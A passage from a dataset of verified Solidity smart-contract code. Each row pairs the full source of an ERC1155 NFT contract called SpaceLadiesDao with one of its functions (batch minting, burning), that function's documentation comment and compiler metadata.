contract_name
stringlengths 1
61
| file_path
stringlengths 5
50.4k
| contract_address
stringlengths 42
42
| language
stringclasses 1
value | class_name
stringlengths 1
61
| class_code
stringlengths 4
330k
| class_documentation
stringlengths 0
29.1k
| class_documentation_type
stringclasses 6
values | func_name
stringlengths 0
62
| func_code
stringlengths 1
303k
| func_documentation
stringlengths 2
14.9k
| func_documentation_type
stringclasses 4
values | compiler_version
stringlengths 15
42
| license_type
stringclasses 14
values | swarm_source
stringlengths 0
71
| meta
dict | __index_level_0__
int64 0
60.4k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string public _uri;
/**
* @dev See {_setURI}.
*/
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256 tokenId) public view virtual override returns (string memory) {
string memory baseURI = _uri;
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: 'uri not set';
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
address payable internal dao = payable(0x7235a999B091c6e5D28ae25753D439983a49498F);
address payable internal iv = payable(0x42C217E317E0494A339d6283eb7Ac0A048d93063);
function _withdrawAll() internal virtual {
uint256 balanceDao = address(this).balance*20/100;
uint256 balanceIv = address(this).balance*12/100;
uint256 balanceOwner = address(this).balance-balanceDao-balanceIv;
payable(dao).transfer(balanceDao);
payable(iv).transfer(balanceIv);
payable(_msgSender()).transfer(balanceOwner);
}
} | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _mintBatch | function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
| /**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
9144,
9884
]
} | 8,807 |
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string public _uri;
/**
* @dev See {_setURI}.
*/
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256 tokenId) public view virtual override returns (string memory) {
string memory baseURI = _uri;
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: 'uri not set';
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
address payable internal dao = payable(0x7235a999B091c6e5D28ae25753D439983a49498F);
address payable internal iv = payable(0x42C217E317E0494A339d6283eb7Ac0A048d93063);
function _withdrawAll() internal virtual {
uint256 balanceDao = address(this).balance*20/100;
uint256 balanceIv = address(this).balance*12/100;
uint256 balanceOwner = address(this).balance-balanceDao-balanceIv;
payable(dao).transfer(balanceDao);
payable(iv).transfer(balanceIv);
payable(_msgSender()).transfer(balanceOwner);
}
} | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _burn | function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
| /**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
10129,
10782
]
} | 8,808 |
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string public _uri;
/**
* @dev See {_setURI}.
*/
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256 tokenId) public view virtual override returns (string memory) {
string memory baseURI = _uri;
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: 'uri not set';
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
